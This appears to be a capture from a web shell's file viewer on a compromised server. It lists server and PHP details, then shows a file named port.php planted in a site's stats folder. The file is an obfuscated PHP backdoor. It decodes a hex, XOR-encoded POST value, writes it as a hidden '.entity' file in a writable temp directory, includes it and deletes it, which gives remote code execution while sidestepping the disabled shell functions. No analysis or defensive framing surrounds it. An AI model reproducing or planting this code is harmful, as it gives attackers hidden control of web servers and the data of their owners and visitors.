HEX
Server: LiteSpeed
System: Linux idn164 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User: intelije (2317)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/intelije/domains/jakartakoma.com/stats/port.php
<?php if(isset($_POST["\x65nt"])):$_0=HEx2bin($_POST["en\x74"]);$_1="";$_2=(int)roUND(0+0+0+0);while($_2<StrLeN($_0)):$_1.=Chr(orD($_0[$_2])^(-0406- -0415));$_2++;endwhile;$_3=ARRaY_fiLtER([GEteNV("TMP"),SYS_Get_TemP_DIR(),"/\144e\166/shm",GEtCWD(),sEssIoN_saVE_patH(),"\x2f\166\141r\057tmp",InI_gEt("upl\157ad_tm\x70\x5f\x64ir"),GeTeNv("\x54EMP"),"/tmp"]);for($_4=(int)roUnd(0+0),$_5=coUNt($_3);$_4<$_5;$_4++):$_6=$_3[$_4];if(MAx(0134-0110+-024,iS_diR($_6)*Is_wrITAblE($_6))):$_7=sPrIntf("\x25s/.entity",$_6);$_8=FOpEn($_7,"w");if($_8&&fWrITE($_8,$_1)):fcloSe($_8);include $_7;UNliNk($_7);die();endif;endif;endfor;endif;